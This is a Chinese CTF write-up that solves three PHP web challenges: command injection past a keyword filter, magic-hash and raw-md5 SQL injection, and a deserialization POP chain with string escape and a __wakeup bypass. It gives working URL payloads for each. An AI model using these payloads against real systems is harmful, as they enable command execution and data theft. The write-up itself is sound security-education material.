主动
首先题目长这样, 很明显是考查命令执行绕过过滤字符
<?php
highlight_file("index.php");
if(preg_match("/flag/i", $_GET["ip"]))
{
die("no flag");
}
system("ping -c 3 $_GET[ip]");
?>
执行多条命令可以使用;
分号或者|
管道符闭合上一条命令
绕过方法很多,自己网上找,这里不赘述,payload如下:
?ip=;cat `ls`
?ip=;cat `echo 'Li9mbGFnLnBocAo=' | base64 -d`
?ip=;cat ./fla'g'.php
?ip=;cat ./fl\ag.php
?ip=;cat ./fl''ag.php
?ip=;cat ./fl""ag.php
?ip=;a=fl;b=ag;cat ./$a$b.php
?ip=;cat ./fl${9}ag.php
.......
查看源代码
Funhash
<?php
include 'conn.php';
highlight_file("index.php");
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
die('level 1 failed');
}
//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
die('level 2 failed');
}
//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc();
var_dump($row);
$result->free();
$mysqli->close();
?>
level 1
PHP处理hash字符的时候会将0e
开头的字符串解释为0
,md4
和md5
都是这样,所以只需要找到加密前是以0e
开头的,加密后也是0e
开头的字符即可,网上找了两个如下:
PS C:\Users\Administrator> php -r "var_dump(hash('md4','0e251288019'));"
string(32) "0e874956163641961271069404332409"
PS C:\Users\Administrator> php -r "var_dump(hash('md4','0e001233333333333334557778889'));"
string(32) "0e434041524824285414215559233446"
?hash1=0e251288019
?hash1=0e001233333333333334557778889
level 2
md5===
判断,传入数组即可,并且数组的值不一样即可绕过
&hash2[]=2&hash3=3
level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
这个md5插入的位置很容易就让人联想到字符串ffifdyop
经过md5(string,raw)
加密后得到:'or'6]!r,b
放在这里正好能构成:select * from flag where password='' or 1
注入得到flag
&hash4=ffifdyop
payload:
?hash1=0e251288019&hash2[]=2&hash3[]=3&hash4=ffifdyop
web辅助
源码目录结构:
└── html
├── !
├── caches
│ └── md5($_SERVER['REMOTE_ADDR']
├── class.php
├── common.php
├── index.php
└── play.php
POP+反序列化字符串逃逸
<?php
class player{
protected $user;
protected $pass;
protected $admin;
public function __construct($user, $pass, $admin = 0){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
}
public function get_admin(){
return $this->admin;
}
}
class topsolo{
protected $name;
public function __construct($name = 'Riven'){
$this->name = $name;
}
public function TP(){
if (gettype($this->name) === "function" or gettype($this->name) === "object"){
$name = $this->name;
$name();
}
}
public function __destruct(){
$this->TP();
}
}
class midsolo{
protected $name;
public function __construct($name){
$this->name = $name;
}
public function __wakeup(){
if ($this->name !== 'Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!\n";
}
}
public function __invoke(){
$this->Gank();
}
public function Gank(){
if (stristr($this->name, 'Yasuo')){
echo "Are you orphan?\n";
}
else{
echo "Must Be Yasuo!\n";
}
}
}
class jungle{
protected $name = "";
public function __construct($name = "Lee Sin"){
$this->name = $name;
}
public function KS(){
system("cat /flag");
}
public function __toString(){
$this->KS();
return "";
}
}
?>
这里的POP链很简单:
topsolo::__destruct()->topsolo::TP()->midsolo::__invoke()->midsolo::Gank()->jungle::__toString->jungle::KS()
可控点只有$username
和$password
//index.php
$username = $_GET['username'];
$password = $_GET['password'];
$player = new player($username, $password);
file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player)));
显然这两个可控点没有办法满足我们想要反序列化控制其他类的,所以需要逃逸序列化字符
//common.php
function read($data){
$data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
return $data;
}
function write($data){
$data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
return $data;
}
index.php
中write(serialize($player))
write函数写在了序列化之后,然后read()函数读取进行反序列化,然后就可以通过控制$username
和$password
导致溢出序列化字符串
\0*\0
长度为5
,chr(0)."*".chr(0)
长度为3
,一次\0*\0
替换chr(0)."*".chr(0)
可以溢出2
个字符位置
首先来看POP链的构造得到的序列化字符长度:
<?php
class topsolo{
protected $name;
public function __construct($name = 'Riven'){
$this->name = $name;
$this->name = new midsolo($name);
}
}
class midsolo{
protected $name;
public function __construct($name){
$this->name = $name;
$this->name = new jungle($name);
}
}
class jungle{
protected $name="";
}
$res = new topsolo($name);
echo serialize($res);
?>
得到如下字符串,长度为:102
O:7:"topsolo":1:{s:7:" * name";O:7:"midsolo":1:{s:7:" * name";O:6:"jungle":1:{s:7:" * name";s:0:"";}}}
再来看一下player
类的序列化结果:
<?php
class player{
protected $user;
protected $pass;
protected $admin;
public function __construct($user, $pass, $admin = 0){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
}
public function get_admin(){
return $this->admin;
}
}
$res = new player($user,$pass);
echo serialize($res);
?>
得到如下字符串
O:6:"player":3:{s:7:" * user";N;s:7:" * pass";N;s:8:" * admin";i:0;}
那么需要吞掉的字符串为:;s:7:" * pass";s:102:"
,长度:22
一个\0*\0
可以逃逸两个字符,那么长度22
就需要11
个\0*\0
username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0
password=;s:7:" * pass";O:7:"topsolo":1:{s:7:" * name";O:7:"midsolo":1:{s:7:" * name";O:6:"jungle":1:{s:7:" * name";s:0:"";}}}
然后因为是protected
属性,将*
替换为%00*%00
或者\00*\00
,以及这里考查了几个小姿势
绕过__wakeup
,修改对象属性个数大于真实个数即可
//class.php
public function __wakeup(){
if ($this->name !== 'Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!\n";
}
}
绕过检测字符name
,修改属性名小写s
为大写S
,并使用十六进制绕过即可
//common.php
function check($data)
{
if(stristr($data, 'name')!==False){
die("Name Pass\n");
}
else{
return $data;
}
}
综上所述
username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0
password=;s:7:"%00*%00pass";O:7:"topsolo":1:{S:7:"%00*%00\6eame";O:7:"midsolo":2:{S:7:"%00*%00\6eame";O:6:"jungle":1:{S:7:"%00*%00\6eame";s:0:"";}}}
?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=;s:7:"%00*%00pass";O:7:"topsolo":1:{S:7:"%00*%00\6eame";O:7:"midsolo":2:{S:7:"%00*%00\6eame";O:6:"jungle":1:{S:7:"%00*%00\6eame";s:0:"";}}}
传入payload
访问play.php
触发反序列化